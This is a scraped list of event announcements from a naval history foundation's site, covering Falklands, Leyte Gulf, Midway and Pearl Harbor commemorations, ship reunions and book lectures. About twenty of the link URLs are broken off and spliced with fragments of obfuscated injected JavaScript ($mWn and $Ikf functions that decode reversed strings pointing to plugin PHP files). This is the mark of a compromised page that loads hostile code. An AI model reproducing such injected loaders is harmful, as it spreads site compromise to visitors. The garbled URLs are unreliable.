- [40th Anniversary -- Naval War in the South Atlantic (The Fight for the Falklands/Malvinas)](https://navyhistory.org/event/40th-anniversary-naval-war-in-the-south-atlantic-the-fight-for-the-falklands-malvinas/) - The Navy Museum will serve as the backdrop for an afternoon seminar followed by a reception as the NHF commemorates the 40th anniversary of the largest naval combat confrontation in the post-World War II era. With the Argentine cruiser General Belgrano (ex-USS Phoenix) torpedoed on 2 May 1982, and the HMS Sheffield crippled two days
- [The Battle of Leyte Gulf 75th Anniversary Symposium](https://navyhistory.org/event/the-battle-of-leyte-gulf-75th-anniversary-symposium/) - In 2004, Admiral James Holloway III and the Naval Historical Foundation (NHF) hosted a symposium on the 60th anniversary of the largest naval battle in history. Fifteen years later the Naval Historical Foundation returns to the historic Decatur House, formerly the Truxtun-Decatur Naval Museum, to host The Battle of Leyte Gulf 75th Anniversary Symposium. The
- [Naval Historical Foundation's Knox Award Banquet](https://navyhistory.org/event/naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/)
- [The National Capital Commandery of The Naval Order of The United States Annual Pearl Harbor Commemorative Dinner](https://navyhistory.org/event/the-national-capital-comm<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-/) - The National Capital Commandery of The Naval Order of The United States Annual Pearl Harbor Commemorative Dinner The Army Navy Club Washington D.C. – Friday, December 7th 2018 Pearl Harbor 1943 – One Year Later & The Lessons Learned For Today’s Fleet Presented by: Dr. Sarandis “Randy” Papadopoulos, Secretariat Historian for the Department of the Navy
- [Annual Pearl Harbor Commemorative Dinner](https://navyhistory.org/event/annual-pearl-harbor-commemorative-dinner/) - The National Capital Commandery of The Naval Order of The United States Annual Pearl Harbor Commemorative Dinner The Army Navy Club Washington D.C. – Friday, December 7th 2018 Pearl Harbor 1943 – One Year Later & The Lessons Learned For Today’s Fleet Presented by: Dr. Sarandis “Randy” Papadopoulos, Secretariat Historian for the Department of the
- [In-Country: Vietnam, 1968](https://navyhistory.org/event/in-country-vietnam-1968/) - In Country: The War in Vietnam - 1968 November 14-15, 2018 National Museum of the Marine Corps 18900 Jefferson Davis Highway Triangle, VA This symposium is hosted by: The Air Force Historical Foundation, Army Historical Foundation, Marine Corps Heritage Foundation, Naval Historical Foundation, and the Foundation for Coast Guard History
- [Nuclear Energy, Naval Propulsion, and National Security](https://navyhistory.org/event/nuclear-energy-naval-propulsion-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/) - The Center for Strategic & International Studies and the Navy Historical Foundation invite you to an important symposium about the history of nuclear power in the U.S. Navy, the impacts the commercial nuclear energy industry has on the Navy and key national security objectives. The Navy has been an important actor and partner in the
- [2016 Annual Meeting](https://navyhistory.org/event/2016-annual-meeting/) - Dear Member or Friend of the Naval Historical Foundation, You are cordially invited to attend the Naval Historical Foundation's Annual Membership Meeting on Saturday morning, June 11th, 2016 at the historic Washington Navy Yard, as we celebrate the Foundation's 90th Anniversary and look ahead to new directions in the coming years. Refreshments will be available
- [Battle of Midway Celebration](https://navyhistory.org/event/battle-of-midway-celebration/) - This year marks the 74th Anniversary of the Battle of Midway. On June 4th 1942, a vastly outnumbered and outgunned U.S. Fleet defeated the finest of the Imperial Japanese Navy in the waters off a small Pacific Atoll named Midway. Their daring combination of intelligence, tactics, courage and sacrifice forever changed the course of the war and world history. In 1999 then Chief of Naval Operations Adm. Jay L. Johnson announced that beginning with the 2000 observance, June 4 would become as significant as Oct. 13 -- the Navy's birthday. "Twice a year, we will pause as a Navy to reflect upon our proud heritage and to build in all hands a renewed awareness of our tradition and history," Johnson said. For the past 15 years, victory at the Battle of Midway has been celebrated on the battle's anniversary with a formal dinner in Washington, DC. This dinner is sponsored by a consortium of nonprofit Navy-related Associations and Foundations, listed on the Event Sponsors tab. One other event being planned to celebrate the Battle of Midway is a ceremony at the U.S. Navy memorial on the morning of 3 June, hosted by the Vice Chief of Naval Operations.
- [USS <em>John R. Craig</em> 26th Reunion](https://navyhistory.org/event/uss-john-r-craig-26th-reunion/) - Click for Reunion Application.
- [Ewa Battlefield Commemoration](https://navyhistory.org/event/ewa-battlefield-commemoration/) - Location: Ewa Field, across from Hawaiian Railway Museum and Pride Baseball Field, West Oahu. Join members of the local community and veterans for the Eighth Annual Observance of the Imperial Japanese Navy attack on Ewa Mooring Mast Field that was defended by the U.S. Marines. The ceremony honors those who were killed that day, both
- [A Reception and Portrait Acquisition Celebrating Admiral Joseph Clark](https://navyhistory.org/event/a-reception-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-sisene/) - The Army and Navy Club Library Trust Fund is pleased to announce the acquisition of a new portrait for the Club's storied Art Collection. The portrait of Admiral Joseph James "Jocko" Clark, USN was painted in 1948-49 by Italian artist Mario Maresca, who actually specialized in painting seascapes and harbors. The unique portrait is 5
- [2015 NHF Annual Meeting](https://navyhistory.org/event/2015-nhf-annual-meeting/) - Or Download the full PDF: Annual Membership Meeting invitation. You are cordially invited to attend the Naval Historical Foundation’s Annual Membership Meeting on Saturday morning, June 20th, 2015 at the historic Washington Navy Yard. In celebration of this year’s centennial of the Navy Reserve, the annual David T. Leighton lecture will be presented at the meeting
- [FBM Program 60th Anniversary Celebration Event](https://navyhistory.org/event/fbm-program-60th-anniversary-celebration-event/) - Please mark your calendar on Friday, 2 October, when SSP HERO will be hosting and celebrating SSP's 60th anniversary with a formal dinner at the Fairview Park Marriott, Falls Church, VA. All former and current employees of SSP and FBM Industry Partners as well as all supporters of the program will be welcome. The organizers
- [V-E Day 70th Anniversary Commemoration](https://navyhistory.org/event/v-e-day-70th-anniversary-commemoration/) - A special V-E Day 70th Anniversary Commemoration will take place at the National World War II Memorial in Washington, DC on Friday, May 8, 2015 at 10:30 a.m. The event, co-hosted by the Friends of the National World War II Memorial (Friends) and the National Park Service (NPS), will commemorate the 70th anniversary of the Allied Forces Victory in the
- [National Naval Aviation Museum 2015 Annual Symposium](https://navyhistory.org/event/national-naval-aviation-museum-2015-annual-symposium/) - The goal of the symposium series is to help preserve the rich history and proud heritage of Naval Aviation by highlighting historical events in which U.S. Naval Aviation has played a major role. In past years, symposia subjects have included: the Battle of Midway; the Battle of Coral Sea; American Aces; Medal of Honor recipients;
- [Cosmos Club Civil War Symposium - "The War Goes On"](https://navyhistory.org/event/cosmos-club-civil-war-symposium-the-war-goes-on/) - Saturday June 13, 2015 Reunion and Reconstruction: “The War Goes On” The Civil War did not end with the military defeat of the Confederacy in the spring of 1865. The major issue of slavery that precipitated secession did not end with its abolition by the 13th Amendment. President Johnson claimed to be following his predecessor
- [25th REUNION - USS <em>John R. Craig</em> (DD 885)](https://navyhistory.org/event/25th-reunion-uss-john-r-craig-dd-885/)
- [“AuthorS on deck” –A Sailor’s Story in Black & White: Battle for the Hawk](https://navyhistory.org/event/authors-on-deck-a-sailors-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - Special Presentation in Honor of Black History Month “Authors on deck” –A Sailor’s Story in Black & White: Battle for the Hawk by David B. Almond February 4, 2015
- [USS Cyclops Book Signing](https://navyhistory.org/event/uss-cyclops-book-signing/) - Friday, February 13 at 7:30pm Saint Peter's Church 211 Mulberry St, Lewes, DE 19958
- [Surface Navy Association Conference](https://navyhistory.org/event/surface-navy-association-conference/) - ONSITE REGISTRATION HOURS: Sunday, January 11 1100- 1600 Monday, January 12 0900-1700 Tuesday, January 13 0700-1730 Wednesday, January 14 0700- 1700 Thursday, January 15 0700-1600 For a full conference schedule, please go HERE. SNA Website
- [Naval Order: Pearl Harbor Remembrance Dinner](https://navyhistory.org/event/naval-order-pearl-harbor-remembrance-dinner-2/)
- [USS <em>Wilkinson</em> DL-5 Annual Reunion](https://navyhistory.org/event/uss-wilkinson-dl-5-annual-reunion/)
- [USS <em>Willis A. Lee</em> DL-4 Annual Reunion](https://navyhistory.org/event/uss-willis-a-lee-dl-4-annual-reunion/)
- [USS <em>John S. McCain</em> DL-3/DDG-36 Annual Reunion](https://navyhistory.org/event/uss-john-s-mccain-dl-3ddg-36-annual-reunion/)
- [USS <em>Mitscher</em>, Dl-2/DDG-35 Annual Reunion](https://navyhistory.org/event/uss-mitscher-dl-2ddg-35-annual-reunion/)
- [USS Norfolk, DL-1 Reunion](https://navyhistory.org/event/uss-norfolk-dl-1-reunion/)
- [Destroyer Leader Association Annual Reunion](https://navyhistory.org/event/destroyer-leader-association-annual-reunion/) - Destroyer Leader Association: DL-1, DL-2/DDG-35, DL-3/DDG-36, DL-4, and DL-5 will hold their annual reunion in San Diego, CA.. Aug. 30 thru Sept. 4, 2015. Contact Mike Bugara 36 Wild Cherry Ln, Little Compton, RI, 02837-1743. mjbugara@hotmail.com 401-635-8860
- [Portsmouth Submarine Memorial Association Event](https://navyhistory.org/event/portsmouth-submarine-memorial-association-event/) - As part of the annual Submarine History Day celebrated at Albacore Park, the Portsmouth Submarine Memorial Association has selected VADM Charles B. “Swede” Momsen, USN (Ret.) to be honored at this year’s celebration. The celebration will be held on 20 September 2014 at Albacore Park, Portsmouth, NH. The 1130 am guest speaker will be Helen
- [Battle of Lake Champlain Bicentennial Commemoration](https://navyhistory.org/event/battle-of-lake-champlain-bicentennial-commemoration/) - This September 11th, the National Museum of the United States Navy will commemorate the two hundredth anniversary of the 1814 Battle of Lake Champlain, a magnificent tactical victory which proved vital in securing America’s future, with activities throughout the day. The Museum will host a number of events to commemorate the Battle of Lake Champlain.
- [The Two Thousand Yard Stare:  Tom Lea's World War II](https://navyhistory.org/event/the-two-thous<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-sisen/) - The Tom Lea Institute and the Army Historical Foundation • Bullock Texas State History Museum El Paso Museum of Art • Humanities Texas The Briscoe Center for American History University of Texas at Austin El Paso Times • Air Force Historical Foundation National Trust for the Humanities • National Museum of the Pacific War University
- [<em>Neptune : The Allied Invasion off Europe and the D-Day Landings</em>, by Craig Symonds - ](https://navyhistory.org/event/neptune-the-allied-invasion-off-europe-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nim/) - On Thursday, May 29, the Maryland Historical Society maritime committee will host Craig Symonds, who will be speaking on his new book, Neptune: The Allied Invasion off Europe and the D-Day Landings. Symonds, an emeritus professor of history at the Naval Academy, is both an excellent scholar and a gifted speaker. The venue is the Maryland
- [Norman Polmar Lecture at University Club's Military History Legion Event](https://navyhistory.org/event/norman-polmar-lecture-at-university-clubs-military-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'/) - ince the end of World War II, a number of key developments, especially with regard to Soviet missile and submarine advances, caught the Western intelligence agencies by surprise. These surprises undercut our military readiness and negotiating initiatives during the Cold War.
- [2014 NHF Annual Membership Meeting](https://navyhistory.org/event/2014-nhf-annual-membership-meeting/) - You are cordially invited to attend the Naval Historical Foundation’s Annual Membership Meeting on Saturday morning, June 14th 2014—Flag Day! Our David T. Leighton lecturer Steve Vogel of the Washington Post, author of the acclaimed Through the Perilous Fight: Six Weeks That Saved the Nation will speak to our membership. With this August marking the bicentennial of the British
- [American Cold War Veterans Association Annual Meeting](https://navyhistory.org/event/america-n-cold-war-veterans-association-annual-meeting/) - The annual meeting of the American Cold War Veterans Association will take place 06-08 June 2014 in Washington D.C. USS Liberty Veterans Association Commemoration Business meetings, luncheon and address to be held at the Rosslyn Holiday Inn, 1900 Fort Myer Drive, Arlington, Virginia 22209. A special room rate of $89.00 is available to conferees. Please
- [World War I Centennial Convention & Trade Fair](https://navyhistory.org/event/world-war-i-centennial-convention-trade-fair/) - Hosted by the United States World War One Centennial Commission A Gathering of historians, educators, curators, cultural programmers, students, and other WWI enthusiasts: Briefing by the World War I Commission on its strategic plan, and discussion of opportunities to partner with the Commission Presentations by various organizations on their centennial programming “Trade fair” opportunity to
- [GI Film Festival 2014](https://navyhistory.org/event/gi-film-festival-2014/) - Hollywood Invades Washington, DC in Support of Troops Sony Pictures, NBC Universal, Warner Brothers, Paramount and SAG-AFTRA Join Hollywood Stars at "Sundance for the Troops" CONTACT Heather Mahoney Communication Manager Phone: (240) 292-9492 heather@gifilmfestival.com ALEXANDRIA, VA – May 19-25, Hollywood invades DC for the 8th annual GI Film Festival (GIFF), also known as “Sundance for
- [“AUTHORS ON DECK” –NEPTUNE: THE ALLIED INVASION OF EUROPE AND THE D-DAY LANDINGS](https://navyhistory.org/event/authors-on-deck-neptune-the-allied-invasion-of-europe-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=[/) - In Commemoration of the 70th Anniversary of D-Day, the United States Navy Memorial’s “Authors on Deck” book lecture series proudly presents Craig Symonds. Award-winning author, Symonds, will present his newly released book, Neptune: The Allied Invasion of Europe and the D-Day Landings (Oxford University Press, 2014). Symonds details Operation Neptune, the massive naval operation that
- [72nd Battle of Midway Commemoration Dinner](https://navyhistory.org/event/72nd-battle-of-midway-commemoration-dinner/) - "We've heard the story of the Battle of Midway from many different perspectives in recent years at our annual dinner - the strategy that set the stage, the decisions that led to battle, the details of the engagements - now we'll tell the stories of the people who actually fought the battle and the path
- [239th Birthday at the Annual Navy Birthday Ball](https://navyhistory.org/event/14264/) - Save the Date! Come Celebrate the Navy's 239th Birthday at the Annual U.S. Navy Birthday Ball When: Friday, October 3, 2014 Time: 6:00pm - 11:00pm Where: Washington Hilton 1919 Connecticut Avenue, NW Washington DC, 20009
- [<em>Olympia</em> Manila Bay Weekend ](https://navyhistory.org/event/olympia-manila-bay-weekend/) - This day will celebrate May 1st, 1898, the Battle of Manila Bay - the famous battle in which OLYMPIA (with Admiral Dewey) led the Asiatic squadron against the Spanish fleet in the Philippines. The Living History crew will be spending the weekend on board in a full immersion event, in which they will demonstrate the
- [Operation Sea Orbit 50th Anniversary Celebration](https://navyhistory.org/event/operation-sea-orbit-50th-anniversary-celebration/) - Please arrive at 5:30 to view the Hampton Roads Naval Museum on the Second Deck. For more information on this event, please email Matthew Eng at meng@navyhistory.org
- [Commodore Dewey Commemoration](https://navyhistory.org/event/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - The National Capitol Commandery requests your presence at the annual Commodore Dewey Commemoration. Who: All Companions, their guests and other interested parties What: Commemoration of the 116th Anniversary of Commodore George Dewey’s Victory at Manila Bay When: Thursday, May 1, 2014 at 1045 Where: The Cathedral Church of Saint Peter & Paul in the City
- [LCDR Erik S. Kristensen Memorial Lecture Series  ](https://navyhistory.org/event/lcdr-erik-s-kristensen-memorial-lecture-series/) - AUTHOR AND FORMER ASSISTANT SECRETARY OF DEFENSE BING WEST TO DELIVER 2014 KRISTENSEN LECTURE Bing West will deliver the 2014 LCDR Erik S. Kristensen Lecture in the Great Hall of McDowell Hall on the campus of St. John’s College in Annapolis, MD on Wednesday, April 9th 2014 at 7:30pm. His lecture Lessons from a Decade
- [Naval Submarine League Capitol Chapter Luncheon - "What Would Rickover Do?"](https://navyhistory.org/event/naval-submarine-league-capi<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - Naval Submarine League - Capitol Chapter Spring Luncheon Luncheon Speaker: RADM Dave Oliver, Jr., USN, Retired “What Would Rickover Do?” His book on Admiral Rickover’s actions to change the Navy culture will be published later this year by the Naval Institute Press. Wednesday 26 March 2014 at Army-Navy Country Club (Arlington) 1130 to 1300 (Cash
- [USS <em>Hornet</em> (CV-8, CV, CVA, CVS-12) 66th Reunion](https://navyhistory.org/event/uss-hornet-cv-8-cv-cva-cvs-12-66th-reunion/) - Service: U.S. Navy / Marines Dates: Sept. 9-14, 2014 Location: San Antonio, TX Hotel: Hilton Double Tree-Airport Hotel 37 NE Loop 410 (McCullough) San Antonio, TX, 78216 (210) 366-2424 POC: Carl & Sandy Burket, Secretary Address: PO Box 108, Roaring Spring, PA 16673 Telephone: (814) 224-5063 Fax: (814) 224-0078 E-mail: hornetcva@aol.com Web Site: http://www.usshornetassn.com/ All Ship's
- [Commodore John Barry Book Award](https://navyhistory.org/event/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Annual Commodore John Barry Book Award will be presented 10 June 2014 at Fraunces Tavern in New York City. The dinner will be preceded by a reception, sponsored by the Naval Historical Foundation and the National Maritime Historical Society.
- [70th Anniversary Commemoration of Operation Dragoon ](https://navyhistory.org/event/70th-anniversary-commemoration-of-operation-dragoon/) - The Society of the 3rd Infantry Division, supported by the Army Historical Foundation, and working with the French Embassy, will host a 70th anniversary commemoration of Operation Dragoon and the subsequent campaign of the 6th Army Group and supporting Air Force and Navy forces to clear southern France. The event will be a seried of
- [USS <em>John R. Craig</em> Reunion](https://navyhistory.org/event/uss-john-r-craig-reunion/) - 23rd Reunion of the USS John R. Craig (DD-885) through their Reunion Association
- ["Naval and Maritime Power in Two World Wars" Conference ](https://navyhistory.org/event/naval-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snig/) - Hosted by the Greenwich Maritime Institute Link to the detailed draft agenda are included here.
- [Wrecks, Rescues, and Mysteries: Air and Sea Disasters](https://navyhistory.org/event/wrecks-rescues-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-sis/) - True-life tales of survival—and loss—at sea have long fascinated us. Historian and author Andrew Jampoler recounts four dramatic incidents of bravery and tragedy spanning two centuries. 10 to 11:15 a.m. Bligh and the HMS Bounty The mutiny onboard the British transport Bounty in April 1789 ended with her captain, William Bligh and 18 loyal crewmen
- [2014 Reunion: Destroyer Leader Association](https://navyhistory.org/event/2014-reunion-destroyer-leader-association/) - Destroyer Leader Association, DL-1, DL-2/DDG-35, DL-3/DDG-36, DL-4, DL-5 will hold their annual reunion in Rochester, Minn. Aug. 26 thru Aug. 29, 2014. Contact Mike Bugara 36 Wild Cherry Ln, Little Compton, RI, 02837-1743. mjbugara@hotmail.com 401-635-8860 The following are reunions in Rochester, Minnesota from Aug. 26 thru Aug. 29: USS Norfolk, DL-1 Contact: Bob Godas 516-293-4115 bobg190@verizon.net USS Mitscher, DL-2/DDG-35 Contact: Raymond A Caldwell raymond78@zoomtown.com 513-542-9488 USS John S. McCain,
- [72nd Pearl Harbor Anniversary Event at the National World War II Memorial](https://navyhistory.org/event/72nd-pearl-harbor-anniversary-event-at-the-national-world-war-ii-memorial/) - The Friends of the National World War II Memorial (Friends) and the National Park Service (NPS) will remember and honor all those who died in the attack on Pearl Harbor on December 7, 1941 during a special event at the National World War II Memorial in Washington, D.C. on Saturday, December 7, 2013 at 1:53 p.m
- [“AUTHORS ON DECK” – THE LUCKY FEW: THE FALL OF SAIGON ](https://navyhistory.org/event/authors-on-deck-the-lucky-few-the-fall-of-saigon/) - As part of the United States Navy Memorial’s “Authors on Deck” book lecture series, author Jan K. Herman will present his latest work, The Lucky Few (Naval Institute Press, 2013). Herman brings to light the epic story of USS Kirk and her success in rendering humanitarian assistance under inconceivable circumstances during the Vietnam War. Following
- [17th National War of 1812 Symposium](https://navyhistory.org/event/17th-national-war-of-1812-symposium/) - "What Was at Stake in the War of 1812: U.S.S. Constitution to the War for the American West, Tecumseh’s Confederacy to Fort George, and Beyond" Commander Tyrone Martin, US Navy, Retd., “USS Constitution — Demythology 101.” Lt. Col. Richard V. Barbuto, US Army, Retd., “A Re-examination of the Battle for Fort George.” Martin K. Gordon,
- [Navy Museum Lunchtime Lecture and Book Signing - <em>In Their Own Words: The Navy Fights the War of 1812</em>](https://navyhistory.org/event/navy-museum-lecture-in-their-own-words-navy-war-of-1812/) - VADM George W. Emery, USN (Retired) will lecture at the National Museum of the United States Navy about his book, In Their Own Words: The Navy Fights the War of 1812. The book, which was published by the Naval Historical Foundation, features digital reproductions and transcriptions of documents from the War of 1812 currently in
- [US Navy Museum: Battle of Lake Erie Commemoration](https://navyhistory.org/event/us-navy-museum-battle-of-lake-erie-commemoration/) - On September 10, 1813 Master Commandant Oliver Hazard Perry emerged victorious from the Battle of Lake Erie. Join the staff of the National Museum of the United States Navy for a day of commemoration of this event. Public programs include: Tours of "1813: Don't Give up the Ship" exhibit with Curator Dr. Edward Furgol at
- [Navy Museum Lunchtime Lecture - From Gunboats to Good Neighbors: U.S. Naval Diplomacy in South America, 1919-1945](https://navyhistory.org/event/navy-museum-lunchtime-lecture-from-gunboats-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-e/) - Dr. Joel Christenson, recipient of the Naval History and Heritage Command's 2011 Rear Admiral John D. Hayes Pre-Doctoral Fellowship in U.S. Navy History, will examine the considerable role naval power played in United States foreign relations with Latin American during the 1920s, 1930s, and 1940s, as Washington abandoned armed interventionism and began pursuing the policy
- [Historic Naval Ships Association 2013 Conference](https://navyhistory.org/event/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Presented by: Battleship New Jersey Museum Independence Seaport Museum BNJ-Battleship New Jersey Museum ISM-Independence Seaport Museum Tuesday, September 17 - Registration Wednesday, September 18 0830 – 0900 Transportation to BNJ 0900 –1030 Executive Directors Meeting 1030 –1045 Coffee Break 1045 – 1200 HNSA Board Of Directors Meeting 1200 – 1330 Lunch 1330 – 1600 HNSA
- [Conference - Working Lives Between the Deck and the Dock: Comparative Perspectives on Sailors as International Labourers](https://navyhistory.org/event/conference-working-lives-between-the-deck-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_/) - The conference will examine the early modern maritime sector as the first truly international (and indeed global) labour market, exploring the economic, legal, and social dimensions of employment at sea during a period of profound expansion and transformation in European maritime activity. Conceived as an essential part of the ERC-funded project Sailing into Modernity :
- [2013 International Congress of Maritime Museums Biennial Congress](https://navyhistory.org/event/2013-international-congress-of-maritime-museums-biennial-congress/) - The 2013 ICMM Congress will be held in Portugal, from 8-15 September, 2013. The Congress location is Cascais, on the Estoril Coast, some 20 kilometres from Lisbon. The organisers have drawn together several Portugese maritime museums for involvement in the Congress, led by the Portugese Maritime Museum (Museu de Marinha). At the invitation of the
- [Authors on Deck Lecture at the Navy Memorial – Josephus Daniels: His Life & Times](https://navyhistory.org/event/authors-on-deck-lecture-at-the-navy-memorial-josephus-daniels-his-life-times/) - As part of the United States Navy Memorial’s “Authors on Deck” book lecture series, author Lee A. Craig will present his latest work, Josephus Daniels: His Life & Times (University of North Carolina Press, 2013). Craig, an expert on economic history, delves into Daniels's extensive archive to inform this nuanced and eminently readable biography, following
- [Lecture - How Not to Lose a War, Part 1: The United States in the Naval War of 1812](https://navyhistory.org/event/lecture-how-not-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - The Rocky Mountain Military Affairs Society presents a free public lecture. Dr. Chuck Steele is an Associate Professor of history at the U.S. Air Force Academy with an abiding interest in naval history. A graduate of the University of California, Berkeley , he holds an MA in War Studies from King’s College, the University of
- [238th Navy Birthday Ball, Washington DC](https://navyhistory.org/event/238th-navy-birthday-ball-washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - The ball will be held at the Grand Hyatt in Washington, D.C., and will be attended by Chief of Naval Operations (CNO), Adm. Jonathan Greenert. This year we are honored to have wounded warrior and Navy SEAL Lt. Jason Redman as the keynote speaker. Through his positive outlook despite a life changing injury, Lt. Redman
- [Naval Order, National Capitol Commandery: Annual Meeting & Battle of the Atlantic Panel Discussion](https://navyhistory.org/event/naval-order-national-capi<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/r/) - Welcome & Morning Coffee 0900 Annual Meeting 0945 Panel Discussion 1000-1200 Luncheon 1200 Morning Coffee and Luncheon $30.00/Person Luncheon Menu Selection: Baked Stuffed Chicken Breast / Beef Tips with Vegetables / Shrimp & Creole Tomato Salad RSVP: egnsinclair8@gmail.com
- [International Commission of Military History 2013 Congress ](https://navyhistory.org/event/international-commission-of-military-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-/) - The Italian Commission of Military History will host the International Commission of Military History (ICMH) Congress this year. The Congress will be held in Turin, Italy from September 1 -6, 2013. The city is located in northern Italy, near the Alps Mountains. It was the capitol of the Kingdom of Sardinia which was the Italian
- [2013 McMullen Naval History Symposium](https://navyhistory.org/event/2013-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-steg/) - Please visit the conference website for more information: http://www.usna.edu/History/Symposium/index.php
- ['Strategy and the Sea': An International Conference in Honour of Professor John B. Hattendorf](https://navyhistory.org/event/strategy-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/s/) - Hosted by All Souls College, Oxford, the conference will bring together academics and naval professionals to celebrate John B. Hattendorf’s distinguished career and leading role in expanding the field of maritime history. This international gathering of research students, senior military representatives, and recognised authorities presents a unique opportunity to discuss cutting-edge naval history research that
- [International Conference: 'Game Changers - Personalities and Pivotal Moments in the Napoloeonic Wars and the War of 1812'](https://navyhistory.org/event/international-conference-game-changers-personalities-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["/) - Seeking to bridge these two interlinked wars by examining some of the key characters and moments in each. Whether on the plains of Maida in 1806, when his famous 20th Regiment played a key role in defeating Napoleon’s ‘Invincibles’, or in his amphibious assault on Washington which promised for a time to be of game changing
- [The Legacy Series: Blue and Gray <em>North Carolinas</em> at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/the-legacy-series-blue-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-ts/) - The Battleship’s Legacy Series as part of the 2nd Saturday programs continues in the month of August. Carolina Living History Guild members will set up displays that highlight the history of the USS North Carolina and the CSS North Carolina during the American Civil War. Displays will include steam engineering, ironclad ship construction, navigation, small
- [Battleship 101 at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-101-at-the-battleship-north-carolina-4/) - Battleship 101 visitors engage with ship volunteers stationed throughout the ship as they create dialogue on specific subjects relative to daily shipboard life including gunnery, radar, sickbay, galley and engineering areas. A unique opportunity to talk one on one of what life was like aboard a World War II Battleship in the time of combat.
- [Lecture - Richard Byrd: Antarctic Explorer](https://navyhistory.org/event/lecture-richard-byrd-antarctic-explorer/) - National Science Foundation veteran and historian Guy Guthridge will take you inside the exploits of the Richard Byrd Library's namesake, aviator and explorer Richard Byrd and his lasting impact on Antarctic research today. Open to guests 14 and older. Reservations required, please call the library at 703-451-8055 or register online at http://www.fairfaxcounty.gov/library/
- [International Society for Military Studies 2013 Conference](https://navyhistory.org/event/international-society-for-military-studies-2013-conference/) - The Royal Danish Defence College (RDDC) is pleased to invite colleagues from the ISMS partner institutions as well as other researchers in military affairs to the annual ISMS conference 2013. The conference, the fifth in the history of the ISMS, will take place in Copenhagen, Denmark in the days 12- 14 November 2013. The overall
- [1944: - Seventy Years On, An International Conference on World War II](https://navyhistory.org/event/call-for-papers-1944-seventy-years-on-international-conference/) - Global War Studies and the Royal Military Academy Sandhurst are pleased to announce an international conference on the Second World War with 1944 as the core theme. This was a year of decision in many theaters with the Allies advancing to the borders of the Axis heartlands. It marked the culmination of the Holocaust and
